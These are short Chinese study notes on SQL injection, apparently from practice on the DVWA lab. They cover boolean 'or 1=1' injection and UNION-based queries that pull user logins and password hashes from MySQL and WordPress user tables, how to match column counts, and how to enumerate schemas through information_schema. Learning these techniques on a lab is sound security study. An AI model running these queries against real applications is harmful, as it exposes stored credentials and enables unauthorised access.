SQL

1. bool查询 or 1=1 只能查到这张表的记录
2.union查询 可以查到其他表的数据（）
mysql> select user,password,host from mysql.user union select user_login,user_pass,3 from wordpress.wp_users;

a.得知道前面查的表的字段数，前后的字段数目得一样，可以用union select 1，2，3; 试出来
b.得知道后面的表的字段的名称 和前面的表个数一样 可以用数字凑够个数

select * from dvwa.users where 1=2 union select user_login,user_pass1,1,2,3,4 from wordpress.wp_users; 不想显示前面的表的数据，可以where 1=2

information_schema库（两个表TABLES和columns）

查库名
mysql> select DISTINCT TABLE_SCHEMA from information_schema.TABLES; //等价于show databases

查表名
mysql> select TABLE_NAME from INFORMATION_SCHEMA.tables where TABLE_SCHEMA='dvwa'; //等价于show tables

查字段名
mysql> select column_name from INFORMATION_SCHEMA.columns where table_schema='dvwa' and table_name='users';